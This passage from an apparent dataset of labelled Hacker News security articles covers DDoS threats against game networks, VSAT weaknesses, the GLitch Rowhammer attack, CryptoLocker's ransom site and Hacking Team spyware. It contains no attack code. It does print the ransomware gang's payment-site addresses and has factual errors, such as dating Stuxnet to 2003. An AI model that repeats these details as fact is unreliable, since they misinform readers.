This time a new hacking group, who managed to take down Tumblr this week for almost two hours, has warned gamers of launching another large-scale distributed denial-of-service (DDoS) attack against XBox Live and PlayStation networks.

Calling itself R.I.U. Star Patrol, the hacking group, posted a video on YouTube, announcing that they're planning to take down Sony's PSN and Microsoft's Xbox Live on Christmas Day by launching coordinated DDoS attacks.
""We do it because we can,"" the group said. ""We have not been paid a single dollar for what we do.""
On Wednesday, when R.I.U. Star Patrol took down Tumblr, the group contacted Mashable and explained its reason for attacking: ""There is no sinister motive. It's all for light hearted fun.""

Neither Sony nor Microsoft has yet responded to the hackers' warning.

However, both Sony and Microsoft previously promised to enhance the protection of their systems to block any attack disrupting their networks, but downtime and short outages happened almost every Christmas time.

Knowing the current abilities of hackers to launch DDoS attack that can reach 1 Tbps, it goes without saying that both the companies should be prepared to see DDoS attacks targeting its servers on this Christmas that can go beyond their expectations.

We saw coordinated DDoS attacks against DNS hosting provider Dyn last fall that broke large portions of the Internet, causing a significant outage to a ton of websites and services, including Twitter, GitHub, PayPal, Amazon, Reddit, Netflix, and Spotify.

The massive DDoS attack was launched just by a botnet of an estimated 100,000 so-called Internet of Things (IoT) – everyday devices and appliances that are connected to the web – that closed down the Internet for millions of users.

So, it remains to be seen if gamers would be able to enjoy this Christmas or not.

",Cyber_Attack
Small satellite terminals (VSAT) are vulnerable to Cyber attack,https://thehackernews.com/2014/01/small-satellite-terminals-vsat-are.html,"The Military Units that rely on very small aperture terminals (VSATs) for satellite communications in remote areas are vulnerable to cyber attack.

Researchers from cyber intelligence company IntelCrawler recently identified nearly 3 million VSATs, many of them in the United States, and found that about 10,000 of them could be easily accessed because of configuration weaknesses.
""We have scanned the whole IPv4 address space since 2010 and update the results in our Big Data intelligence database, including details about the satellite operator's network ranges, such as INMARSAT, Asia Broadcast Satellite, VSAT internet iDirect, Satellite HUB Pool, and can see some vulnerabilities,""
Researchers have warned that terminals having data transmission rate 4kbps to 16 Mbps used in narrow and broadband data transmission are vulnerable to cyber attack.
VSATs are most commonly used to transmit narrowband data such as credit card, polling or RFID data or broadband data for VoIP or video using the Satellites in geosynchronous orbit generally used for Television & Radio broadcast, direct broadcast, military communication. Its name originated from the relatively small dish antenna with a diameter no longer than 10 feet (3 meters).
IntelCrawler claimed that VSAT can be easily hacked because of poor password policy & default settings. Vulnerable terminals can be used for a planned cyber-attack, to be more precise on distributed network and infrastructure.

Dan Clements, IntelCrawler's President said:
""Many VSAT devices have Telnet access with very poor password strength, many times using default factory settings,""
""Intrusions to such open devices can allow you to monitor all the network traffic related to the exact device or host, sometimes with very sensitive information, which can lead to a compromise of the internal network,""
""The door might be six inches open, and of course you're not going in, but you can see there's a vulnerability there,""
""There's a lot of information that could be used in a nefarious way,"" Clements said. ""Certainly you could put together a plan to go after certain grids or dams or power plants and have access to the centralized network at some point.""
According to the report, there are more than 313 open UHP VSAT, 9045 open terminals (HUGHES) and 1,142 terminals (SatLink), that can be easily hacked by malicious attackers.
HUGHES is one of the largest manufacturers of VSATs which are mostly used in offline ATMs by several national central banks. Physical locations of a number of VSATs can be easily searched on Google maps and Google Earth, which could allow attackers to plan more sophisticated physical attacks.
""They are also widely spread in the industrial sector, such as energy, oil and gas, where the whole infrastructure is based on distributed environments located in different regions, cities or sometimes continents. According to statistics, there are 2,931,534 active VSAT terminals in the world now, with the majority installed in the US."" according to the The Comsys VSAT report.
IntelCrawler also found network ranges of government and classified communications, e.g. Ministry of Civil Affairs of China infrastructure in ranges belongs to Shanghai VSAT Network Systems Co. LTD, and Ministry of Foreign Affairs of Turkey in Turksat VSAT Services, that poses critical threat to National Security.

",Cyber_Attack
GLitch: New 'Rowhammer' Attack Can Remotely Hijack Android Phones,https://thehackernews.com/2018/05/rowhammer-android-hacking.html,"For the very first time, security researchers have discovered an effective way to exploit a four-year-old hacking technique called Rowhammer to hijack an Android phone remotely.

Dubbed GLitch, the proof-of-concept technique is a new addition to the Rowhammer attack series which leverages embedded graphics processing units (GPUs) to carry out a Rowhammer attack against Android smartphones.

Rowhammer is a problem with recent generation dynamic random access memory (DRAM) chips in which repeatedly accessing a row of memory can cause ""bit flipping"" in an adjacent row, allowing anyone to change the value of contents stored in computer memory.

Known since at least 2012, the issue was first exploited by Google's Project Zero researchers in early 2015, when they pulled off remote Rowhammer attacks on computers running Windows and Linux.

Last year, a team of researchers in the VUSec Lab at Vrije Universiteit Amsterdam demonstrated that the Rowhammer technique could also work on Android smartphones, but with a major limitation of a malicious application being first installed on the target phone.

However, the same team of researchers has now shown how their proof-of-concept attack ""GLitch,"" can exploit the Rowhammer attack technique simply by hosting a website running malicious JavaScript code to remotely hack an Android smartphone under just 2 minutes, without relying on any software bug.

Since the malicious code runs only within the privileges of the web browser, it can spy on user's browsing pattern or steal their credentials. However, the attacker cannot gain further access to user's Android phone.

Here's How GLitch Attack Works
GLitch is the first remote Rowhammer technique that exploits the graphics processing units (GPU), which is found in almost all mobile processors, instead of the CPU that was exploited in all previous theorized versions of the Rowhammer attack.

Since the ARM processors inside Android smartphones include a type of cache that makes it difficult to access targeted rows of memory, researchers make use of GPU, whose cache can be more easily controlled, allowing hackers to hammer targeted rows without any interference.

The technique is named GLitch with first two letters capitalized because it uses a widely used browser-based graphics code library known as WebGL for rendering graphics to trigger a known glitch in DDR3 and DDR4 memory chips.

Currently, GLitch targets smartphones running the Snapdragon 800 and 801 system on a chip—that includes both CPU and GPU—meaning the PoC works only on older Android phones like the LG Nexus 5, HTC One M8, or LG G2. The attack can be launched against Firefox and Chrome.

In a video demonstration, the researchers show their JavaScript-based GLitch attack on a Nexus 5 running over Mozilla's Firefox browser to gain read/write privileges, giving them the ability to execute malicious code over the software.
""If you're wondering if we can trigger bit flips on Chrome the answer is yes, we can. As a matter of fact, most of our research was carried out on Chrome,"" the researchers said. ""We then switched to Firefox for the exploit just because we had prior knowledge of the platform and found more documentation.""

No Software Patch Can Fully Fix the Rowhammer Issue

Since Rowhammer exploits a computer hardware weakness, no software patch can completely fix the issue. Researchers say the Rowhammer threat is not only real but also has the potential to cause some real, severe damage.

Although there's no way to fully block an Android phone's GPU from tampering with the DRAM, the team has been working with Google on ways to solve the problem.

For more in-depth details on the new attack technique, you can head on to this informational page about GLitch and this paper [PDF] published by the researchers.

",Vulnerability
CryptoLocker developer launches Decryption Service website; 10 Bitcoins for Decryption Keys,https://thehackernews.com/2013/11/CryptoLocker-Ransomware-Decryption-service-malware-keys.html,"There's an extraordinary malware making rock-n-roll over the Internet and if you are one of the unlucky folks to cross its path, then it could make your computer unusable and you have to pay a few hundred Dollars to retrieve your important data back.

We have warned our readers in many previous articles about a nasty piece of Ransomware malware called 'CryptoLocker', which is targeting computers running the Microsoft Windows operating system.

The CryptoLocker Ransomware encrypts the files on a victim's computer and issues an ultimatum - Pay up or lose your data. Users who are getting infected with CryptoLocker can see a message informing them that their computer is locked up and their files encrypted. It then asks them to make a ransom payment, which typically ranges between $100 and $700 or 2 Bitcoins, to get their files back.

Just yesterday I noticed on a forum that the criminals behind the CryptoLocker malware has recently launched a dedicated CryptoLocker decryption service website that allows victims to purchase the decryption key for their infected encrypted files.

Interestingly, Malware inside the system is asking for only 2 Bitcoins ($450 USD) for the decryption keys, whereas the newly launched service price has been significantly increased 10 Bitcoins i.e. Approx $2,100 USD.

Service is available on the website https://yocmvpiarwmfgyg.net/ or https://93.189.44.187/ (Russia based hosting server) and also accessible through the Tor network https://f2d2v7soksbskekh.onion/

Why Hackers has launched the Decryption Service ?
Currently almost all antivirus companies are on Red alert about CryptoLocker malware and they have released updates for their users, that can detect and remove the infection or the registry keys from the system which is actually required to pay the ransom and decryption process. So if malware will get deleted, neither victim will get the decryption keys ever, neither criminal will get paid for it.

So the criminal actors behind the CryptoLocker malware has launched the decryption service website, which is designed to look like a customer support site for victims.


How the Decryption Service works ?
The victim can upload one of its encrypted files on the service website, which will generate an order number. After uploading, a further order status page will display the date-time of infection and victim's public key.

It will then prompt the user to purchase the private key by paying 10 Bitcoins or approximately $2,200 USD. Once a payment is made, just after the confirmation, the website will allow the user to download a decryption private key and a decrypter tool. Which can be used to decrypt all CryptoLocker encrypted files on the system.

Another interesting fact about the service website is that, if the user has already paid the ransom amount, they will provide the private key and decrypter free of cost.

CryptoLocker Ransomware, A Global threat
CryptoLocker infections were found across different regions, including Europe Middle East, North America and Asia Pacific. Almost 64% victims are from the US.

There are different ways an individual or an organization can handle the CryptoLocker threat. Unfortunately, there is no known tool to decrypt the files encrypted by CryptoLocker, so always take Backup of important Files. Always ensure your system softwares and Antivirus product is up-to-date.

Antivirus firm Bitdefender has just released a tool to protect your files from CryptoLocker. You can Download Anti-CryptoLocker here.

",Malware
FBI compromised Tor hidden service to bust largest Child Pornography Ring,https://thehackernews.com/2013/09/FBI-compromised-Tor-hidden-hosting-Child-Pornography-firefox-exploit.html,"A few days before the servers of the largest provider of Ultra Anonymous hosting were found to be serving custom malware designed to identify visitors who were using the Tor service to hide their identity online. The javascript code exploited a security vulnerability in the open-source version of Firefox that the Tor network is based on.

In an Irish court, FBI agent admitted publicly that the agency had control of Freedom Hosting, a Tor hidden service operator company, in an effort to arrest a suspect behind the largest child porn facilitator on the planet.
Eric Eoin Marques, a 28-year-old Irishman, is now awaiting extradition to the US where he could face 100 years in prison on child pornography charges.

Marques is the owner and operator of Freedom Hosting, one of the largest web hosts for the Tor network., Hosting many of the darkest hidden services on the Darknet, including criminal hacking site HackBB, money laundering services, and responsible for hosting child porn on 550 servers throughout Europe.

The FBI agent alleged when officers examined the RAM from Marques's seized computer it revealed he had made inquiries about how to get a visa and entry into Russia, and residency and citizenship there. Online searches had also been made for a US passport template and US passport hologram star.

Eric Eoin Marques apparently already sent the earnings of his profitable Freedom Hosting business to his girlfriend over in Romania.

Just two weeks ago, we have learned that the National Security Agency may have developed either decryption capabilities or secret backdoor that enabled it to break most Internet encryption.

But Taking control over all Freedom Hosting servers by FBI agents and inserting some tracking code really seems like an incredibly questionable move by any Law Enforcement agency.

",Vulnerability
"Security researchers will disclose vulnerabilities in Embedded, ARM, x86 & NFC",https://thehackernews.com/2012/07/security-researchers-will-disclose.html,"Security researchers are expected to disclose new vulnerabilities in near field communication (NFC), mobile baseband firmware, HTML5 and Web application firewalls next week at the Black Hat USA 2012 security conference.

The Black Hat session aim to expose sometimes shocking vulnerabilities in widely used products. They also typically show countermeasures to plug the holes.

Two independent security consultants will give a class called ""Advanced ARM exploitation,"" part of a broader five-day private class the duo developed. In a sold-out session, they will detail hardware hacks of multiple ARM platforms running Linux, some described on a separate blog posting.

The purpose of the talk is to reach a broader audience and share the more interesting bits of the research that went into developing the Practical ARM Exploitation and presenters Stephen Ridley and Stephen Lawler demonstrate how to defeat XN, ASLR, stack cookies, etc. using nuances of the ARM architecture on Linux.

In addition to mobile and Web security, Black Hat presentations will also cover security issues and attack techniques affecting industrial control systems, smart meters and embedded devices.

",Vulnerability
Massive Data Breach Exposes 6.6 Million Plaintext Passwords from Ad Company,https://thehackernews.com/2016/09/plaintext-passwords-leaked.html,"Another Day, Another Data Breach! And this time, it's worse than any recent data breaches.

Why?

Because the data breach has exposed plaintext passwords, usernames, email addresses, and a large trove of other personal information of more than 6.6 Million ClixSense users.

ClixSense, a website that claims to pay users for viewing advertisements and completing online surveys, is the latest victim to join the list of ""Mega-Breaches"" revealed in recent months, including LinkedIn, MySpace, VK.com, Tumblr, and Dropbox.

Hackers are Selling Plaintext Passwords and Complete Website Source Code

More than 2.2 Million people have already had their personal and sensitive data posted to PasteBin over the weekend. The hackers who dumped the data has put another 4.4 Million accounts up for sale.

In addition to un-hashed passwords and email addresses, the dump database includes first and last names, dates of birth, sex, home addresses, IP addresses, payment histories, and other banking details of Millions of users.

Troy Hunt, operator of Have I Been Pwned? breach notification service, verified the authenticity of the data taken from ClixSense.

Besides giving away 4.4 Million accounts to the highest bidder, the hackers are also offering social security numbers of compromised users, along with the complete source code of the ClixSense website and ""70,000 emails"" from the company's internal email server, according to a Pastebin message advertising the stolen database.

PasteBin has since removed the post as well as the sample of the compromised database that contained user account information.

Here's How Hackers Hacked ClixSence:

ClixSense admitted the data breach and said some unknown hackers were able to get access to its main database through an old server which the firm was no longer using, but at the time, still networked to its main database server.

After gaining access, the hacker was able ""to copy most, if not all"" of the ClixSense users table, ran SQL code to change account names to ""hacked account,"" deleted several forum posts, as well as set account balances of users to $0.00.

While talking to Ars Technica, ClixSense owner Jim Grago admitted that the database contained entries for roughly 6.6 Million accounts and that the company became aware of the breach on September 4 and managed to regain control of their DNS over the weekend.

""This all started last Sunday, September 4th about 5 am EST when my lead developer called me and said ClixSense was redirecting to a gay porn site. The hackers were able to take over our DNS and setup the redirection,"" Grago wrote.
""On Monday (Labor day) they were able to hack into our hosting provider and turned off all of our servers, hacked into our Microsoft Exchange server and changed the passwords on all of our email accounts. On Tuesday they were able to gain access to a server that was directly connected to our database server and get a copy of our users table.""

Change Your Passwords and Security Questions Now

Users are strongly advised to change their passwords for ClixSence account immediately, and it would also be a good idea to reset passwords for all of your other online services, especially those using the same passwords.

Since ClixSense uses a large trove of personal information on its users, make sure you change your security questions, if it uses any of the information you provided to ClixSense, such as your address, date of birth, or other identifying information.

Moreover, I recommend you to use a good password manager to create strong and complex passwords for your different online accounts, and it will remember all of them on your behalf.

I have listed some of the best password managers that could help you understand the importance of password manager and choose one according to your requirement.

",Data_Breaches
China-made E-Cigarette Chargers Could Infect Your Computer with Virus,https://thehackernews.com/2014/11/china-made-e-cigarette-chargers-could_26.html,"It's better for smokers to quit smoking. Are you using electronic cigarettes (E-cigarettes) instead normal ones?? Still, you should quit your smoking habit, because it not only damages your health, but could pose a danger risk to the health of your computer.

E-cigarettes have become the latest vector for hackers to distribute malicious software. E-cigarettes manufactured in China are reportedly being used to spread malware via a USB port to computers when users plug in for charging it up.

The report broke when an executive at a ""large corporation"" had been infected with malware from an undetermined source after he quit smoking and switched to e-cigarettes made in China, detailed a recent post to social news forum Reddit.

Further investigating the matter, he found that the chargers of the e-cigarettes - bought from the online auction site eBay for $5 - are hard-coded with the malware that infected his workstation despite having latest virus and anti malware programs installed.
""The executive's system was patched up to date, had antivirus and anti-malware protection,"" Reddit user Jrockilla said. ""Web logs were scoured and all attempts made to identify the source of the infection but to no avail.""
""Finally after all traditional means of infection were covered, IT started looking into other possibilities. They finally asked the executive: 'Have there been any changes in your life recently?' The executive answered: 'Well yes, I quit smoking two weeks ago and switched to e-cigarettes.' And that was the answer they were looking for.""
Rik Ferguson, a security consultant for Trend Micro, also considers the matter plausible and says, ""Production line malware has been around for a few years, infecting photo frames, MP3 players and more."" In 2008, for instance, a photo frame produced by Samsung shipped with malware on the product's install disc, the Guardian reported.
""Hackers are able to exploit any electronic device to serve malware to a poorly protected network,"" Pierluigi Paganini, chief information security officer at ID management firm, said in a blog post. ""Despite the [fact the] idea could appear hilarious, many electronic cigarettes can be charged over USB using a special cable or by inserting one end of the cigarette directly into a USB port.""
The idea is similar to the BadUSB, whose source code was released by the researchers last month on the open source code hosting website Github. BadUSB was capable to spread itself by hiding in the firmware meant to control the ways in which USB devices connect to computers. Ferguson explained that ""a very strong case can be made for enterprises disabling USB ports, or at least using device management to allow only authorised devices.""

",Malware
Hacking Team: We're Victim of a Criminal Cyber Attack,https://thehackernews.com/2015/07/hacking-team-press-statement.html,"Hacking Team, the Italy-based spyware company that sells spying software to law enforcement agencies worldwide, says the company has always operated with the law and regulation in an ethical manner.

However, there was only one Violation of Law in this entire event, and that is – ""the massive cyber attack on the Hacking Team."" company stated.

The recent hack on Hacking Team exposed nearly 500GB of massive internal documents including internal emails, hacking tools, zero-day exploits, surveillance tools, source code for Spyware and a spreadsheet listing every government client with date of purchase and amount paid.

Hacking Team Hack and Media Reports:

The attack on Hacking Team was really huge in every sense. The team finally shows its disappointment with media on its hacking incident saying, the company that helps government fight crimes is being treated as the culprits, and the criminals who attacked the company are not.
""Had a media company been attacked as Hacking Team has been, the press would be outraged,"" Hacking Team wrote in its press release Wednesday.
But, every media including us have mentioned that Hacking Team got hacked, which by default indicates that they were the victim to cyber crime.

So far, neither they nor anyone in media knows who has hacked and leaked 500GB of internal data belonging to Hacking Team.

So, what do they expect from Media to talk about?
The Unknown Hacker, about whom no one knows,
or the 500 GB of leaked Hacking Team's Secrets
Hacking Team Spyware: Fighting for Crime or aiding Surveillance?

Apart from this, the Hacking Team claimed that the strong spyware and hacking tools developed by the company are actually required by the law enforcement agencies to fight crime and terrorism.

We all know that what NSA and other government agencies are doing (espionage/surveillance) with such capabilities, instead of putting every effort to fight crime and terrorism.

Recently, a 46-year-old member of South Korea's National Intelligence Service (NIS) apparently committed suicide after it was revealed that the Asian country bought spying tools from the Hacking Team.

A Suicide note left by the agent at the scene referenced the Hacking Team controversy, and claimed his intelligence team did not use Hacking Team tools to spy on South Korean citizens' mobile phone or any other online communications.

This incident could be part of the same conspiracy, which is yet to be investigated.

Some Facts Highlighted by Hacking Team

Highlighting the facts about its recent hack attack, the company says the attackers stole and exposed the personal information of its employees and some of its clients.

However, the attackers were unable to access the data collected by company's clients using purchased spying software, as such information is only stored on the customer's systems and can't be accessed by the company itself.

The attackers also exposed some of its source code on the Internet, but according to Hacking Team, the essential elements of its source code were not compromised in the attack.

The company agreed of selling its equipments to countries, including Ethiopia, Sudan, Russia and South Korea among others, but always sold ""strictly under the law and regulation.""

""There have been reports that our software contained some sort of ""backdoor"" that permitted Hacking Team insight into the operations of our clients or the ability to disable their software,"" The company says.

""This is not true.""

""No such backdoors were ever present, and clients have been permitted to examine the source code to reassure themselves of this fact.""

The company also denied its involvement in any program that make use of airborne drones to attack computers and smartphone devices through Wi-Fi networks as it has been reported earlier this week.

",Cyber_Attack
Adobe to issue Emergency Patch for Critical Flash Player Vulnerability,https://thehackernews.com/2016/04/adobe-flash-update.html,"Adobe has been one of the favorite picks of the Hackers to mess with any systems devoid of any operating systems, as Flash Player is a front runner in all the browsers.

Hackers have already been targeting Flash Player for long by exploiting known vulnerabilities roaming in the wild.

Despite Adobe's efforts, Flash is not safe anymore for Internet security, as one more critical vulnerability had been discovered in the Flash Player that could crash the affected system and potentially allow an attacker to take control of the system.

Discovered by a French Researcher Kafeine, FireEye's Genwei Jiang, and Google's Clement Lecigne, the flaw affects Adobe Flash Player 21.0.0.197 and its earlier versions for Windows, Macintosh, Linux and Chrome OS.

The vulnerability, assigned under CVE-2016-1019, also expands back to Windows 7 and even towards Windows XP.

Adobe had also confirmed that the newly discovered vulnerability in its Flash Player is being exploited actively in the wild.

Update Adobe Flash Player Software

This issue caused the Adobe engineers to urgently work on a mitigation method and release an emergency update under Flash Player 21.0.0.182, which is expected to get released this Thursday.

Usually, Adobe releases its patch on the second Tuesday of the month, the same day as Microsoft, but rolls out emergency patches on an ad hoc basis, analyzing the seriousness of the bug.

The endless Adobe updates and upgrades had failed to ensure the user security in the real time scenario. So it's high time for users to disable or completely uninstall Adobe Flash Player.

Believe or not, Adobe Flash Player is dead and its time has passed.

In January last year, YouTube moved away from Flash for delivering videos.

Although in between Flash made an effort to beef up its security in a bid to justify its existence, things got a bit heated when Firefox became aware of a critical bug and blocked the Flash plugin entirely.

Facebook's Security Chief publicly called for Adobe to announce a kill date for Flash. In fact, Google Chrome has also begun blocking auto-playing Flash ads by default.

",Malware
Trojan.Milicenso Print Bomb - Printer Trojan cause massive printing,https://thehackernews.com/2012/06/trojanmilicenso-print-bomb-printer.html,"Trojan.Milicenso - Printer Trojan cause massive printing
A Trojan that sends printers crazy, making them print pages of garbled nonsense until all the paper has been used up, has seen a spike in activity.Symantec detected the Trojan.Milicenso across various countries, but the worst hit regions were the US and India followed by regions in South America and Europe, including the UK.

According to a blog post published Thursday by researchers from antivirus provider Symantec, Dubbed ""Trojan.Milicenso"" it has been described by security researchers as a malware delivery vehicle ""for hire"" through its repeated use since it was first discovered in 2010.

The Milicenso Trojan is actually a backdoor that is used to deliver other malware on the affected machines. The infection vectors are links and malicious attachments in unsolicited emails, as well as websites hosting malicious scripts that trigger the download of the Trojan.


""Depending on the configuration, any files, including binary files, created in that folder will trigger print jobs,"" said Symantec. ""The Trojan creates and executes a dropper executable, which in turn creates a DLL file in the %System% folder""

It's like dragging a system file into a plain-text editor: most of the time you'll see garbage. Symantec said there were a number of ways the malware can find its way onto PCs, including opening a malware-laden email attachment, through a compromised website, or posing as fake video codecs.Once the malware is opened, it redirects the user to pages to serve up adverts; a common way for malware writers to generate quick revenue.

",Malware
Researchers Uncover Spying Tool Used by Governments to Hijack all Types of Smartphones,https://thehackernews.com/2014/06/researchers-uncover-spying-tool-used-by.html,"Purchasing malware to victimize people is illegal by laws but if the same thing any government official do, then its not!! Yes, the police forces around the World are following the footsteps of U.S. National Security Agency (NSA) and FBI.

Researchers from the Citizen Lab at the Munk School of Global Affairs at the University of Toronto and computer security firm Kaspersky Lab have unearthed a broad network of controversial spyware which is specially designed to give law enforcement agencies complete access to a suspect's phone for the purpose of surveillance.

MALWARE FOR DESKTOPS AND ALL MOBILE DEVICES
The malware, dubbed as Remote Control System (RCS), also known as Da Vinci and Galileo, is developed by an Italian company known as Hacking Team, available for desktop computers, laptops, and mobile devices. The latest version of the malware works for all phone including Android, iOS, Windows Mobile, Symbian and BlackBerry devices, but best on Android devices, and can also be installed on jailbroken iOS devices. But even if the targeted iOS device is not jailbroken, the malware uses the famous Evasi0n jailbreaking tool to install the malware easily.

The team of researchers from both Citizen Lab and Kaspersky Lab in collaboration has presented their findings during an event in London. According to the report published, the diameter of the command infrastructure supporting Hacking Team, which sells the RCS to governments and law enforcement, is very vast with 326 command-and-control (C&C) servers running in more than 40 countries.

MALWARE DEVELOPERS - 'HACKING TEAM'
Hacking Team is a Milan-based IT company with more than 50 employees that has made a totally different place for itself selling ""offensive"" intrusion and surveillance software to governments and law enforcement agencies in ""several dozen countries"" on ""six continents.""

""It was a well-known fact for quite some time that the HackingTeam products included malware for mobile phones. However, these were rarely seen,"" said Kaspersky Lab experts on the blog post. ""In particular, the Android and iOS Trojans have never been identified before and represented one of the remaining blank spots in the story.""

WORLD WIDE WEB OF COMMAND-N-CONTROL SERVERS
Kaspersky Lab researchers have used a fingerprinting method to scan the entire IPv4 space and to identify the IP addresses of RCS Command & Control servers around the world and found the biggest host in United States with 64 counts of C&C servers. Next on the list was Kazakhstan with 49, Ecuador has 35, UK which hosts 32 control systems and many other countries with a grand total of 326 Command & Control servers.
""The presence of these servers in a given country doesn't mean to say they are used by that particular country's law enforcement agencies,"" said Sergey Golovanov, principal security researcher at Kaspersky Lab. ""However, it makes sense for the users of RCS to deploy C&Cs in locations they control – where there are minimal risks of cross-border legal issues or server seizures.""
ATTACK VECTOR AND MALWARE FEATURES
RCS can be physically implanted on the victim's device through a USB or SD card, and remotely it can be installed through spear phishing, exploit kits, drive-by downloads or network traffic injection.

Once installed on Apple iOS and Android device, the new module enable governments and law enforcement officers with larger capabilities to monitor victim devices, including the ability to:
control phone network
steal data from their device
record voice E-mail
intercept SMS and MMS messages
obtain call history
report on their location
use the device's microphone in real time
intercept voice and SMS messages sent via applications such as Skype, WhatsApp, Viber, and much more.
""Secretly activating the microphone and taking regular camera shots provides constant surveillance of the target—which is much more powerful than traditional cloak and dagger operations,"" Golovanov wrote.
While, the Android module is protected by an optimizer for Android called DexGuard that made the it extremely difficult to analyze. However, most of the iOS capabilities mentioned above are also available for Android, along with the support for hijacking applications such Facebook, Google Talk, Tencent of China and many more.

The mobile modules for each are custom-built for each target, researchers said. From previous disclosures we have seen that RCS is currently being used to spy on political dissidents, journalists, human rights advocates, and opposing political figures.

",Vulnerability
The Rise of Super-Stealthy Digitally Signed Malware—Thanks to the Dark Web,https://thehackernews.com/2017/11/malware-digital-certificate.html,"Guess what's more expensive than counterfeit United States passports, stolen credit cards and even guns on the dark web?

It's digital code signing certificates.

A recent study conducted by the Cyber Security Research Institute (CSRI) this week revealed that stolen digital code-signing certificates are readily available for anyone to purchase on the dark web for up to $1,200.

As you may know, digital certificates issued by a trusted certificate authority (CA) are used to cryptographically sign computer applications and software, and are trusted by your computer for execution of those programs without any warning messages.

However, malware author and hackers who are always in search of advanced techniques to bypass security solutions have been abusing trusted digital certificates during recent years.

Hackers use compromised code signing certificates associated with trusted software vendors in order to sign their malicious code, reducing the possibility of their malware being detected on targeted enterprise networks and consumer devices.

The infamous Stuxnet worm that targeted Iranian nuclear processing facilities in 2003 also used legitimate digital certificates. Also, the recent CCleaner-tainted downloads infection was made possible due to digitally-signed software update.

Stealthy Digitally-Signed Malware Is Increasingly Prevalent

However, separate research conducted by a team of security researchers have found that digitally signed malware has become much more common than previously thought.

The trio researchers—Doowon Kim, BumJun Kwon and Tudor Dumitras from the University of Maryland, College Park—said they found a total of 325 signed malware samples, of which 189 (58.2%) carried valid digital signatures while 136 carry malformed digital signatures.
""Such malformed signatures are useful for an adversary: we find that simply copying an Authenticode signature from a legitimate sample to an unsigned malware sample may help the malware bypass AV detection,"" the researchers said.
Those 189 malware samples signed correctly were generated using 111 compromised unique certificates issued by recognized CAs and used to sign legitimate software.

At the time of writing, 27 of these compromised certificates had been revoked, although malware signed by one of the remaining 84 certificates that were not revoked would still be trusted as long as carry a trusted timestamp.
""A large fraction (88.8%) of malware families rely on a single certificate, which suggests that the abusive certificates are mostly controlled by the malware authors rather than by third parties,"" the trio said.
The researchers have released a list of the abusive certificates at signedmalware.org.

Revoking Stolen Certificate Doesn't Stop Malware Immediately

Even when a signature is not valid, the researchers found that at least 34 anti-virus products failed to check the certificate's validity, eventually allowing malicious code to run on the targeted system.

The researchers also conducted an experiment to determine if malformed signatures can affect the anti-virus detections. To demonstrate this, they downloaded 5 random unsigned ransomware samples that almost all anti-virus programs detected as malicious.

The trio then took two expired certificates that previously had been used to sign both legitimate software and in-the-wild malware and used them to sign each of the five ransomware samples.

Top Antivirus Fail to Detect Malware Signed With Stolen Certificates

When analysing the resulting ten new samples, the researchers found that many anti-virus products failed to detect the malware as malicious.

The top three anti-virus products—nProtect, Tencent, and Paloalto—detected unsigned ransomware samples as malware, but considered eight of out ten crafted samples as benign.

Even popular anti-virus engines from Kaspersky Labs, Microsoft, TrendMicro, Symantec, and Commodo, failed to detect some of the known malicious samples.

Other affected anti-virus packages included CrowdStrike, Fortinet, Avira, Malwarebytes, SentinelOne, Sophos, TrendMicro and Qihoo, among others.
""We believe that this [inability in detecting malware samples] is due to the fact that AVs take digital signatures into account when filter and prioritize the list of files to scan, in order to reduce the overhead imposed on the user's host,"" the researchers said.
""However, the incorrect implementation of Authenticode signature checks in many AVs gives malware authors the opportunity to evade detection with a simple and inexpensive method.""
The researchers said they reported this issue to the affected antivirus companies, and one of them had confirmed that their product fails to check the signatures correctly and they had planned to fix the issue.

The researchers presented their findings at the Computer and Communications Security (CCS) conference in Dallas on Wednesday.

For more detailed information on the research, you can head on to their research paper [PDF] titled ""Certified Malware: Measuring Breaches of Trust in the Windows Code-Signing PKI.""

",Malware
North Korean Hackers Using ELECTRICFISH Tunnels to Exfiltrate Data,https://thehackernews.com/2019/05/north-korean-hacking-tool.html,"The U.S. Department of Homeland Security (DHS) and the FBI have issued another joint alert about a new piece of malware that the prolific North Korean APT hacking group Hidden Cobra has actively been using in the wild.

Hidden Cobra, also known as Lazarus Group and Guardians of Peace, is believed to be backed by North Korean government and known to launch cyber attacks against media organizations, aerospace, financial and critical infrastructure sectors across the world.

The hacking group was the same associated with the 2017 WannaCry ransomware menace, the 2014 Sony Pictures hack, and the SWIFT Banking attack in 2016.

Now, the DHS and the FBI have uncovered a new malware variant, dubbed ELECTRICFISH, that Hidden Cobra hackers have been using for secretly tunneling traffic out of compromised computer systems.

The malware implements a custom protocol configured with a proxy server/port and proxy username and password, allowing hackers to bypass the compromised system's required authentication to reach outside of the network.

The ElectricFish malware is a command-line utility whose primary purpose is to quickly funnel traffic between two IP addresses.

The malware allows Hidden Cobra hackers to configure with a proxy server/port and proxy username and password, making it possible to connect to a system sitting inside of a proxy server, which allows the attackers to bypass the infected system's required authentication.

""It will attempt to establish TCP sessions with the source IP address and the destination IP address. If a connection is made to both the source and destination IPs, this malicious utility will implement a custom protocol, which will allow traffic to rapidly and efficiently be funneled between two machines,"" the alert reads.

""If necessary, the malware can authenticate with a proxy to be able to reach the destination IP address. A configured proxy server is not required for this utility.""

Once ElectricFish authenticates with the configured proxy, it immediately attempts to establish a session with the destination IP address, located outside of the victim network and the source IP address. The attack would use command prompts to specify the source and destination for tunneling traffic.

Though the US-CERT website doesn't state whether or if yes, which US organizations have already been infected with this new malware, the joint malware analysis report (MAR) does say that the alert has been issued ""to enable network defense and reduce exposure to North Korean government malicious cyber activity.""

This is not the very first time the DHS and the FBI have issued a joint alert to warn users and organizations about the Hidden Cobra malware.

Late last year, the U.S. departments warned about the FastCash malware that Hidden Cobra had been using since 2016 to compromise payment switch application servers in banks in Africa and Asia in an attempt to cash out bank ATMs.

Little less than a year ago, the DHS and the FBI also published an advisory alerting users of two different malware—a fully functional Remote Access Trojan (RAT) known as Joanap and a Server Message Block (SMB) worm called Brambul—linked to Hidden Cobra.

In 2017, the US-CERT also issued an alert detailing Hidden Cobra malware called Delta Charlie—a DDoS tool that they believed the North Korean hackers use to launch distributed denial-of-service attacks against its targets.

",Cyber_Attack
Israeli Power Grid Authority Suffers Massive Cyber Attack,https://thehackernews.com/2016/01/power-grid-cyberattack.html,"The country which built a Digital Iron Dome, Israel had undergone one of the largest serious cyber attack this year.

This time, the name of Israel is being popped up in the current headlines is for the massive cyber attack which triggered against the Nation's Electrical Power Grid Authority's Network.

""Yesterday we identified one of the largest cyber attacks that we have experienced,"" Energy Minister Yuval Steinitz confirmed at the CyberTech 2016 Conference at the Tel Aviv Trade Fair and Convention Center on Tuesday, according to an article published by The Times of Israel.
